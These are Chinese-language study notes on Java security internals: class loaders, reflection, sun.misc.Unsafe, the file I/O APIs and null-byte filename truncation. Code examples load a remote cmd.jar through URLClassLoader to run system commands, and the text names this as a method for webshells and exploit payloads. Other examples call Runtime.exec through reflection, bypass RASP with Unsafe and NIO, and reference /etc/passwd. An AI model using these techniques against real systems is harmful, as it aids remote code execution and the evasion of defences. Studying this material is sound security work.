1.java基礎
Java平台共分為三個主要版本Java SE(Java Platform, Standard Edition,Java平台标準版)、Java EE(Java Platform Enterprise Edition,Java平台企業版)、和Java ME(Java Platform, Micro Edition,Java平台微型版)。
2. java類
2.1Classloader 類加載機制
Java是一個依賴于JVM(Java虛拟機)實作的跨平台的開發語言。Java程式在運作前需要先編譯成class檔案,Java類初始化的時候會調用java.lang.ClassLoader加載類位元組碼,ClassLoader會調用JVM的native方法(defineClass0/1/2)來定義一個java.lang.Class執行個體。
2.2.java類
Java是編譯型語言,我們編寫的java檔案需要編譯成後class檔案後才能夠被JVM運作,學習ClassLoader之前我們先簡單了解下Java類。
示例TestHelloWorld.java:
示例TestHelloWorld.java:
package com;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestHelloWorld {
public void hello() {
System.out.println("Hello, World!");
}
}
編譯TestHelloWorld.java:javac TestHelloWorld.java
我們可以通過JDK自帶的javap指令反彙編TestHelloWorld.class檔案對應的com.anbai.sec.classloader.TestHelloWorld類,以及使用Linux自帶的hexdump指令檢視TestHelloWorld.class檔案二進制内容:
JVM在執行TestHelloWorld之前會先解析class二進制内容,JVM執行的其實就是如上javap指令生成的位元組碼(ByteCode)。
2.3. ClassLoader
一切的Java類都必須經過JVM加載後才能運作,而ClassLoader的主要作用就是Java類檔案的加載。在JVM類加載器中最頂層的是Bootstrap ClassLoader(引導類加載器)、Extension ClassLoader(擴充類加載器)、App ClassLoader(系統類加載器),AppClassLoader是預設的類加載器,如果類加載時我們不指定類加載器的情況下,預設會使用AppClassLoader加載類,ClassLoader.getSystemClassLoader()傳回的系統類加載器也是AppClassLoader。
值得注意的是某些時候我們擷取一個類的類加載器時候可能會傳回一個null值,如:java.io.File.class.getClassLoader()将傳回一個null對象,因為java.io.File類在JVM初始化的時候會被Bootstrap ClassLoader(引導類加載器)加載(該類加載器實作于JVM層,采用C++編寫),我們在嘗試擷取被Bootstrap ClassLoader類加載器所加載的類的ClassLoader時候都會傳回null。
ClassLoader類有如下核心方法:
1.
loadClass(加載指定的Java類)
2.
findClass(查找指定的Java類)
3.
findLoadedClass(查找JVM已經加載過的類)
4.
defineClass(定義一個Java類)
5.
resolveClass(連結指定的Java類)
2.4 Java類動态加載方式
Java類加載方式分為顯式和隐式,顯式即我們通常使用Java反射或者ClassLoader來動态加載一個類對象,而隐式指的是類名.方法名()或new類執行個體。顯式類加載方式也可以了解為類動态加載,我們可以自定義類加載器去加載任意的類。
常用的類動态加載
// 反射加載TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加載TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName(“類名”)預設會初始化被加載類的靜态屬性和方法,如果不希望初始化類可以使用
Class.forName(“類名”, 是否初始化類, 類加載器),而ClassLoader.loadClass預設不會初始化類方法
2.5. ClassLoader類加載流程
了解Java類加載機制并非易事,這裡我們以一個Java的HelloWorld來學習ClassLoader。
ClassLoader加載com.anbai.sec.classloader.TestHelloWorld類重要流程如下:
1.
ClassLoader會調用public Class<?> loadClass(String name)方法加載com.anbai.sec.classloader.TestHelloWorld類。
2.
調用findLoadedClass方法檢查TestHelloWorld類是否已經初始化,如果JVM已初始化過該類則直接傳回類對象。
3.
如果建立目前ClassLoader時傳入了父類加載器(new ClassLoader(父類加載器))就使用父類加載器加載TestHelloWorld類,否則使用JVM的Bootstrap ClassLoader加載。
4.
如果上一步無法加載TestHelloWorld類,那麼調用自身的findClass方法嘗試加載TestHelloWorld類。
5.
如果目前的ClassLoader沒有重寫了findClass方法,那麼直接傳回類加載失敗異常。如果目前類重寫了findClass方法并通過傳入的com.anbai.sec.classloader.TestHelloWorld類名找到了對應的類位元組碼,那麼應該調用defineClass方法去JVM中注冊該類。
6.
如果調用loadClass的時候傳入的resolve參數為true,那麼還需要調用resolveClass方法連結類,預設為false。
7.
傳回一個被JVM加載後的java.lang.Class類對象。
2.6 自定義ClassLoader
java.lang.ClassLoader是所有的類加載器的父類,
java.lang.ClassLoader有非常多的子類加載器,比如我們用于加載jar包的
java.net.URLClassLoader其本身通過繼承java.lang.ClassLoader類,重寫了findClass方法進而實作了加載目錄class檔案甚至是遠端資源檔案。
既然已知ClassLoader具備了加載類的能力,那麼我們不妨嘗試下寫一個自己的類加載器來實作加載自定義的位元組碼(這裡以加載TestHelloWorld類為例)并調用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld類存在的情況下,我們可以使用如下代碼即可實作調用hello方法并輸出
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);
但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我們的classpath,那麼我們可以使用自定義類加載器重寫findClass方法,然後在調用defineClass方法的時候傳入TestHelloWorld類的位元組碼的方式來向JVM中定義一個TestHelloWorld類,最後通過反射機制就可以調用TestHelloWorld類的hello方法了。
TestClassLoader示例代碼:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠端加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 建立URLClassLoader對象,并加載遠端jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統指令
String cmd = "ls";
// 通過URLClassLoader加載遠端jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 調用CMD類中的exec方法,等價于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 擷取指令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取指令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出指令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用自定義類加載器我們可以在webshell中實作加載并調用自己編譯的類對象,比如本地指令執行漏洞調用自定義類位元組碼的native方法繞過RASP檢測,也可以用于加密重要的Java類位元組碼(隻能算弱加密了)。
2.7: URLClassLoader
URLClassLoader繼承了ClassLoader,URLClassLoader提供了加載遠端資源的能力,在寫漏洞利用的payload或者webshell的時候我們可以使用這個特性來加載遠端的jar來實作遠端的類方法調用。
- TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定義遠端加載的jar路徑
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 建立URLClassLoader對象,并加載遠端jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定義需要執行的系統指令
String cmd = "ls";
// 通過URLClassLoader加載遠端jar包中的CMD類
Class cmdClass = ucl.loadClass("CMD");
// 調用CMD類中的exec方法,等價于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 擷取指令執行結果的輸入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 讀取指令執行結果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 輸出指令執行結果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
遠端的cmd.jar中就一個CMD.class檔案,對應的編譯之前的代碼片段如下:
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
程式執行結果如下:
README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml
3 j ava反射機制:
3.1 java反射機制
Java反射(Reflection)是Java非常重要的動态特性,通過使用反射我們不僅可以擷取到任何類的成員方法(Methods)、成員變量(Fields)、構造方法(Constructors)等資訊,還可以動态建立Java類執行個體、調用任意的類方法、修改任意的類成員變量值等。Java反射機制是Java語言的動态性的重要展現,也是Java的各種架構底層實作的靈魂。
3.2 擷取class對象:
Java反射操作的是java.lang.Class對象,是以我們需要先想辦法擷取到Class對象,通常我們有如下幾種方式擷取一個類的Class對象:
1.類名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。
2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");
擷取數組類型的Class對象需要特殊注意,需要使用Java類型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相當于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相當于String[][].class
擷取Runtime類Class對象代碼片段:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通過以上任意一種方式就可以擷取java.lang.Runtime類的Class對象了,反射調用内部類的時候需要使用 來 代 替 . , 如 c o m . a n b a i . T e s t 類 有 一 個 叫 做 H e l l o 的 内 部 類 , 那 麼 調 用 的 時 候 就 應 該 将 類 名 寫 成 : c o m . a n b a i . T e s t 來代替.,如com.anbai.Test類有一個叫做Hello的内部類,那麼調用的時候就應該将類名寫成:com.anbai.Test 來代替.,如com.anbai.Test類有一個叫做Hello的内部類,那麼調用的時候就應該将類名寫成:com.anbai.TestHello。
3.2 反射java.lang.Runtime
java.lang.Runtime 因為有一個exec方法可以執行本地指令,是以在很多payload都可以看到反射調用Runtime嘞來執行本地系統指令,學習如何反射Runtime類可以讓我了解反射的一些基本用法
不實用反射執行本地指令的代碼片段:
// 輸出指令執行結果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(),"UTF-8"));
可以看到使用一行代碼完成本地嗎執行操作,如果是使用反射就比較麻煩了,我們不得不需要間接性的調用Runtime的exec方法
反射Runtime執行本地指令代碼片段:
// 擷取Runtime類對象Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 擷取構造方法Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 建立Runtime類示例,等價于 Runtime rt = new Runtime();Object runtimeInstance = constructor.newInstance();
// 擷取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 調用exec方法,等價于 rt.exec(cmd);Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 擷取指令執行結果InputStream in = process.getInputStream();
// 輸出指令執行結果System.out.println(IOUtils.toString(in, "UTF-8"));
反射調用Runtime實作本地指令執行的流程如下:
1.
反射擷取Runtime類對象(Class.forName(“java.lang.Runtime”))。
2.
使用Runtime類的Class對象擷取Runtime類的無參數構造方法(getDeclaredConstructor()),因為Runtime的構造方法是private的我們無法直接調用,是以我們需要通過反射去修改方法的通路權限(constructor.setAccessible(true))。
3.
擷取Runtime類的exec(String)方法(runtimeClass1.getMethod(“exec”, String.class)😉。
4.
調用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。
上面的代碼每一步都寫了非常清晰的注釋,接下來我們将進一步深入的了解下每一步具體含義。
反射建立類執行個體
在Java的任何一個類都必須有一個或多個構造方法,如果代碼中沒有建立構造方法那麼在類編譯的時候會自動建立一個無參數的構造方法。
- Runtime類構造方法示例代碼片段:
public class Runtime{
/** Don't let anyone else instantiate this class */
private Runtime(){}
}
從上面的Runtime類代碼注釋我們看到它本身是不希望除了其自身的任何人去建立該類執行個體的,因為這是一個私有的類構造方法,是以我們沒辦法new一個Runtime類執行個體即不能使用Runtime rt = new Runtime();的方式建立Runtime對象,但示例中我們借助了反射機制,修改了方法通路權限進而間接的建立出了Runtime對象。
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以擷取到類構造方法,差別在于後者無法擷取到私有方法,是以一般在擷取某個類的構造方法時候我們會使用前者去擷取構造方法。如果構造方法有一個或多個參數的情況下我們應該在擷取構造方法時候傳入對應的參數類型數組,如:clazz.getDeclaredConstructor(String.class, String.class)。
如果我們想擷取類的所有構造方法可以使用:clazz.getDeclaredConstructors來擷取一個Constructor數組。
擷取到Constructor以後我們可以通過constructor.newInstance()來建立類執行個體,同理如果有參數的情況下我們應該傳入對應的參數值,如:constructor.newInstance(“admin”, “123456”)。當我們沒有通路構造方法權限時我們應該調用constructor.setAccessible(true)修改通路權限就可以成功的建立出類執行個體了。
4. sun.misc.Unsafe
4.1 sun.misc.Unsafe
sun.misc.Unsafe是Java底層API(僅限Java内部使用,反射可調用)提供的一個神奇的Java類,Unsafe提供了非常底層的記憶體、CAS、線程排程、類、對象等操作、Unsafe正如它的名字一樣它提供的幾乎所有的方法都是不安全的,本節隻講解如何使用Unsafe定義Java類、建立類執行個體。
4.2 擷取Unsafe對象
Unsafe是Java内部API,外部是禁止調用的,在編譯Java類時如果檢測到引用了Unsafe類也會有禁止使用的警告:Unsafe是内部專用 API, 可能會在未來發行版中删除。
sun.misc.Unsafe代碼片段:
在這裡插入代碼片
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;
public final class Unsafe {
private static final Unsafe theUnsafe;
static {
theUnsafe = new Unsafe();
省去其他代碼......
}
private Unsafe() {
}
@CallerSensitive <!--使用CallerSensitive後,getCallerClass不再用固定深度去尋找actual caller(“我”),而是把所有跟反射相關的接口方法都标注上CallerSensitive,搜尋時凡看到該注解都直接跳過,防止惡意構造雙重反射來提升權限-->
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if (var0.getClassLoader() != null) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
省去其他代碼......
}
由上代碼片段可以看到,Unsafe類是一個不能被繼承的類且不能直接通過new的方式建立Unsafe類執行個體,如果通過getUnsafe方法擷取Unsafe執行個體還會檢查類加載器,預設隻允許Bootstrap Classloader調用。
既然無法直接通過Unsafe.getUnsafe()的方式調用,那麼可以使用反射的方式去擷取Unsafe類執行個體。
- 反射擷取Unsafe類執行個體代碼片段:
// 反射擷取Unsafe的theUnsafe成員變量Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
// 反射設定theUnsafe通路權限
theUnsafeField.setAccessible(true);
// 反射擷取theUnsafe成員變量值Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
當然我們也可以用反射建立Unsafe類執行個體的方式去擷取Unsafe對象:
// 擷取Unsafe無參構造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();
// 修改構造方法通路權限
constructor.setAccessible(true);
// 反射建立Unsafe類執行個體,等價于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInsta
nce();
4.3 allocateInstance無視構造方法建立類執行個體
假設我們有一個叫com.anbai.sec.unsafe.UnSafeTest的類,因為某種原因我們不能直接通過反射的方式去建立UnSafeTest類執行個體,那麼這個時候使用Unsafe的allocateInstance方法就可以繞過這個限制了。
- UnSafeTest代碼片段:
UnSafeTest代碼片段:
public class UnSafeTest {
private UnSafeTest() {
// 假設RASP在這個構造方法中插入了Hook代碼,我們可以利用Unsafe來建立類執行個體
System.out.println("init...");
}
}
使用Unsafe建立UnSafeTest對象:
// 使用Unsafe建立UnSafeTest類執行個體
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);
Google的GSON庫在JSON反序列化的時候就使用這個方式來建立類執行個體,在滲透測試中也會經常遇到這樣的限制,比如RASP限制了java.io.FileInputStream類的構造方法導緻我們無法讀檔案或者限制了UNIXProcess/ProcessImpl類的構造方法導緻我們無法執行本地指令等。
4.4 defineClass直接調用JVM建立類對象
ClassLoader章節我們講了通過ClassLoader類的defineClass0/1/2方法我們可以直接向JVM中注冊一個類,如果ClassLoader被限制的情況下我們還可以使用Unsafe的defineClass方法來實作同樣的功能。
Unsafe提供了一個通過傳入類名、類位元組碼的方式就可以定義類的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
- 使用Unsafe建立TestHelloWorld對象:
// 使用Unsafe向JVM中注冊com.anbai.sec.classloader.TestHelloWorld類
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME,
TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
- 或調用需要傳入類加載器和保護域的方法:
// 擷取系統的類加載器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 建立預設的保護域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, classLoader, null
);
// 使用Unsafe向JVM中注冊com.anbai.sec.classloader.TestHelloWorld類
Class helloWorldClass = unsafe1.defineClass(
TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);
Unsafe 還可以通過 defineAnonymousClass 方法建立内部類,此處不再多做測試
注意:
這個執行個體僅适用于 java 8 以前的版本,在java 8 中應該使用調用需要傳類加載器和保護域的那個方法。 java 11 開始 Unsafe 已經把defineClass 方法移除了 (defineAnonmousClass方法還在), 雖然可以使用java.lang.invoke.MethodHandles.Loosup.defineClass 代替,但是 MethodHandles 隻是間接調用了 ClassLoader 的 defineClass。 是以一切都回到了ClassLoader
5.java檔案系統
衆所周知Java是一個跨平台的語言,不同的作業系統有着完全不一樣的檔案系統和特性。JDK會根據不同的作業系統(AIX,Linux,MacOSX,Solaris,Unix,Windows)編譯成不同的版本。
在Java語言中對檔案的任何操作最終都是通過JNI調用C語言函數實作的。Java為了能夠實作跨作業系統對檔案進行操作抽象了一個叫做FileSystem的對象出來,不同的作業系統隻需要實作起抽象出來的檔案操作方法即可實作跨平台的檔案操作了。
6.java FileSystem
6.1 Java FileSystem
Java SE 中内置了兩類檔案系統: java.io 和 java.nio, java.nio 實作的是 sun.nio , 檔案系統底層的API實作:
6.2 Java.IO 檔案系統
Java抽象出了一個叫做檔案系統的對象:java.io.FileSystem,不同的作業系統有不一樣的檔案系統,例如Windows和Unix就是兩種不一樣的檔案系統: java.io.UnixFileSystem、java.io.WinNTFileSystem。
java.io.FileSystem是一個抽象類,它抽象了對檔案的操作,不同作業系統版本的JDK會實作其抽象的方法進而也就實作了跨平台的檔案的通路操作。
示例中的java.io.UnixFileSystem最終會通過JNI調用native方法來實作對檔案的操作:
由此我們可以得出Java隻不過是實作了對檔案操作的封裝而已,最終讀寫檔案的實作都是通過調用native方法實作的。
不過需要特别注意一下幾點:
1.并不是所有的檔案操作都在java.io.FileSystem中定義,檔案的讀取最終調用的是
java.io.FileInputStream#read0、readBytes、
java.io.RandomAccessFile#read0、readBytes,
而寫檔案調用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。
2.Java有兩類檔案系統API!一個是基于阻塞模式的IO的檔案系統,另一是JDK7+基于NIO.2的檔案系統。
6.3 java NIO.2檔案系統
Java 7提出了一個基于NIO的檔案系統,這個NIO檔案系統和阻塞IO檔案系統兩者是完全獨立的。java.nio.file.spi.FileSystemProvider對檔案的封裝和java.io.FileSystem同理。
NIO的檔案操作在不同的系統的最終實作類也是不一樣的,比如Mac的實作類是: sun.nio.fs.UnixNativeDispatcher,
而Windows的實作類是sun.nio.fs.WindowsNativeDispatcher。
合理的利用NIO檔案系統這一特性我們可以繞過某些隻是防禦了java.io.FileSystem的WAF/RASP。
7.Java IO/NIO多種讀寫檔案方式
7.1
上一章節我們提到了Java 對檔案的讀寫分為了基于阻塞模式的IO和非阻塞模式的NIO,本章節我将列舉一些我們常用于讀寫檔案的方式。
我們通常讀寫檔案都是使用的阻塞模式,與之對應的也就是java.io.FileSystem。java.io.FileInputStream類提供了對檔案的讀取功能,Java的其他讀取檔案的方法基本上都是封裝了java.io.FileInputStream類,比如:java.io.FileReader。
7.2 FileInputStream
使用FileInputStream實作檔案讀取Demo:
package com.anbai.sec.filesystem;
import java.io.*;
/**
*
*
*/
public class FileInputStreamDemo {
public static void main(String[] args) throws IOException {
File file = new File("D:\\test/test.txt");
// 打開檔案對象并建立檔案輸入流
FileInputStream fis = new FileInputStream(file);
// 定義每次輸入流讀取到的位元組數對象
int a = 0;
// 定義緩沖區大小
byte[] bytes = new byte[1024];
// 建立二進制輸出流對象
ByteArrayOutputStream out = new ByteArrayOutputStream();
// 循環讀取檔案内容
while ((a = fis.read(bytes)) != -1) {
// 截取緩沖區數組中的内容,(bytes, 0, a)其中的0表示從bytes數組的
// 下标0開始截取,a表示輸入流read到的位元組數。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
}
}
輸出結果如下:
調用鍊如下:
java.io.FileInputStream.readBytes(FileInputStream.java:219)
java.io.FileInputStream.read(FileInputStream.java:233)
com.anbai.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27)
其中的readBytes是native方法,檔案的打開、關閉等方法也都是native方法:
naticve方法: 一個Native Method就是一個java調用非java代碼的接口。一個Native Method是這樣一個java的方法:該方法的實作由非java語言實作,比如C
- java.io.FileInputStream類對應的native實作如下:
JNIEXPORT void JNICALL
Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) {
fileOpen(env, this, path, fis_fd, O_RDONLY);
}
JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_read0(JNIEnv *env, jobject this) {
return readSingle(env, this, fis_fd);
}
JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_readBytes(JNIEnv *env, jobject this,
jbyteArray bytes, jint off, jint len) {
return readBytes(env, this, bytes, off, len, fis_fd);
}
JNIEXPORT jlong JNICALL
Java_java_io_FileInputStream_skip0(JNIEnv *env, jobject this, jlong toSkip) {
jlong cur = jlong_zero;
jlong end = jlong_zero;
FD fd = GET_FD(this, fis_fd);
if (fd == -1) {
JNU_ThrowIOException (env, "Stream Closed");
return 0;
}
if ((cur = IO_Lseek(fd, (jlong)0, (jint)SEEK_CUR)) == -1) {
JNU_ThrowIOExceptionWithLastError(env, "Seek error");
} else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1) {
JNU_ThrowIOExceptionWithLastError(env, "Seek error");
}
return (end - cur);
}
JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_available0(JNIEnv *env, jobject this) {
jlong ret;
FD fd = GET_FD(this, fis_fd);
if (fd == -1) {
JNU_ThrowIOException (env, "Stream Closed");
return 0;
}
if (IO_Available(fd, &ret)) {
if (ret > INT_MAX) {
ret = (jlong) INT_MAX;
} else if (ret < 0) {
ret = 0;
}
return jlong_to_jint(ret);
}
JNU_ThrowIOExceptionWithLastError(env, NULL);
return 0;
}
完整代碼參考OpenJDK:openjdk/src/java.base/share/native/libjava/FileInputStream.c
7.3 FileOutputStream
- 使用FileOutputStream實作寫檔案Demo:
package com.anbai.sec.filesystem;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/4
*/
public class FileOutputStreamDemo {
public static void main(String[] args) throws IOException {
// 定義寫入檔案路徑
File file = new File("D://test/test.txt");
// 定義待寫入檔案内容
String content = "Hello World.";
// 建立FileOutputStream對象
FileOutputStream fos = new FileOutputStream(file);
// 寫入内容二進制到檔案
fos.write(content.getBytes());
fos.flush();
fos.close();
}
}
代碼邏輯比較簡單: 打開檔案->寫内容->關閉檔案,調用鍊和底層實作分析請參考FileInputStream。
7.4 RandomAccessFile
Java提供了一個非常有趣的讀取檔案内容的類: java.io.RandomAccessFile,這個類名字面意思是任意檔案内容通路,特别之處是這個類不僅可以像java.io.FileInputStream一樣讀取檔案,而且還可以寫檔案。
RandomAccessFile讀取檔案測試代碼:
package com.anbai.sec.filesystem;
import java.io.*;
/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessFileDemo {
public static void main(String[] args) {
File file = new File("D://test/test.txt");
try {
// 建立RandomAccessFile對象,r表示以隻讀模式打開檔案,一共有:r(隻讀)、rw(讀寫)、
// rws(讀寫内容同步)、rwd(讀寫内容或中繼資料同步)四種模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");
// 定義每次輸入流讀取到的位元組數對象
int a = 0;
// 定義緩沖區大小
byte[] bytes = new byte[1024];
// 建立二進制輸出流對象
ByteArrayOutputStream out = new ByteArrayOutputStream();
// 循環讀取檔案内容
while ((a = raf.read(bytes)) != -1) {
// 截取緩沖區數組中的内容,(bytes, 0, a)其中的0表示從bytes數組的
// 下标0開始截取,a表示輸入流read到的位元組數。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
}
}
任意檔案讀取特性展現在如下方法:
// 擷取檔案描述符
public final FileDescriptor getFD() throws IOException
// 擷取檔案指針
public native long getFilePointer() throws IOException;
// 設定檔案偏移量
private native void seek0(long pos) throws IOException;
java.io.RandomAccessFile類中提供了幾十個readXXX方法用以讀取檔案系統,最終都會調用到read0或者readBytes方法,我們隻需要掌握如何利用RandomAccessFile讀/寫檔案就行了。
- RandomAccessFile寫檔案測試代碼:
package com.anbai.sec.filesystem;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessWriteFileDemo {
public static void main(String[] args) {
File file = new File("D://test/test.txt");
// 定義待寫入檔案内容
String content = "Hello World.";
try {
// 建立RandomAccessFile對象,rw表示以讀寫模式打開檔案,一共有:r(隻讀)、rw(讀寫)、
// rws(讀寫内容同步)、rwd(讀寫内容或中繼資料同步)四種模式。
RandomAccessFile raf = new RandomAccessFile(file, "rw");
// 寫入内容二進制到檔案
raf.write(content.getBytes());
raf.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
7.5 FileSystemProvider
前面章節提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我們可以利用支援異步的通道(Channel)模式讀取檔案内容。
- FileSystemProvider讀取檔案内容示例:
package com.anbai.sec.filesystem;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesDemo {
public static void main(String[] args) {
// 通過File對象定義讀取的檔案路徑
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();
// 定義讀取的檔案路徑
Path path = Paths.get("D://test/test.txt");
try {
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
}
}
java.nio.file.Files是JDK7開始提供的一個對檔案讀寫取非常便捷的API,其底層實在是調用了java.nio.file.spi.FileSystemProvider來實作對檔案的讀寫的。最為底層的實作類是sun.nio.ch.FileDispatcherImpl#read0。
基于NIO的檔案讀取邏輯是:
- 打開FileChannel->讀取Channel内容。
sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
檔案讀取的調用鍊為:
sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
- FileSystemProvider寫檔案示例:
package com.anbai.sec.filesystem;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesWriteDemo {
public static void main(String[] args) {
// 通過File對象定義讀取的檔案路徑
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();
// 定義讀取的檔案路徑
Path path = Paths.get("D://test/test.txt");
// 定義待寫入檔案内容
String content = "Hello World.";
try {
// 寫入内容二進制到檔案
Files.write(path, content.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
}
}
7.6 檔案讀寫總結:
Java内置的檔案讀取方式大概就是這三種方式,其他的檔案讀取API可以說都是對這幾種方式的封裝而已(依賴資料庫、指令執行、自寫JNI接口不算,本人個人了解,如有其他途徑還請告知)。本章我們通過深入基于IO和NIO的Java檔案系統底層API,希望大家能夠通過以上Demo深入了解到檔案讀寫的原理和本質。
8 Java檔案名空位元組截斷漏洞
8.1 Java檔案名空位元組截斷漏洞
空位元組截斷漏洞漏洞在諸多程式設計語言中都存在,究其根本是Java在調用檔案系統(C實作)讀寫檔案時導緻的漏洞,并不是Java本身的安全問題。不過好在高版本的JDK在處理檔案時已經把空位元組檔案名進行了安全檢測處理。
8.2 檔案名空位元組漏洞曆史
2013年9月10日釋出的Java SE 7 Update 40修複了空位元組截斷這個曆史遺留問題。此次更新在java.io.File類中添加了一個isInvalid方法,專門檢測檔案名中是否包含了空位元組
/**
* Check if the file has an invalid path. Currently, the inspection of
* a file path is very limited, and it only covers Nul character check.
* Returning true means the path is definitely invalid/garbage. But
* returning false does not guarantee that the path is valid.
*
* @return true if the file path is invalid.
*/
final boolean isInvalid() {
if (status == null) {
status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED
: PathStatus.INVALID;
}
return status == PathStatus.INVALID;
}
修複的JDK版本所有跟檔案名相關的操作都調用了isInvalid方法檢測,防止檔案名空位元組截斷。
